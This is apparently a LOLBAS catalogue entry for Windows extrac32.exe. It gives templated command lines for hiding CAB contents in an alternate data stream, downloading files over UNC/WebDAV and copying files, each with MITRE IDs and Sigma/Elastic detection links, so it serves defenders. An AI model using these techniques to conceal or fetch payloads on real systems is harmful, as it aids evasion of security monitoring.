LOL · Binary

Extrac32.exe

4 techniques WindowsLOLBAS GPL-3.0

Defense EvasionFile Write Windows

Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

Use Extract data from cab file and hide it in an alternate data stream.

extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Context: user
Native: ADS
MITRE: T1564.004
Detection: Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
twitter.com/egre55/status/985994639202283520
lolbas-project.github.io/lolbas/Binaries/Extrac32/

Defense EvasionFile Write Windows

Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

Use Extract data from cab file and hide it in an alternate data stream.

extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Context: user
Native: ADS
MITRE: T1564.004
Detection: Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
twitter.com/egre55/status/985994639202283520
lolbas-project.github.io/lolbas/Binaries/Extrac32/

Download

File Download Windows

Copy the source file to the destination file and overwrite it.

Use Download file from UNC/WEBDav

extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}

Context: user
Native: Download
MITRE: T1105
Detection: Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
twitter.com/egre55/status/985994639202283520
lolbas-project.github.io/lolbas/Binaries/Extrac32/

File Copy Windows

Command for copying file from one folder to another

Use Copy file

extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}

Context: user
Native: Copy
MITRE: T1105
Detection: Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml
Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml
Refs: oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
twitter.com/egre55/status/985994639202283520
lolbas-project.github.io/lolbas/Binaries/Extrac32/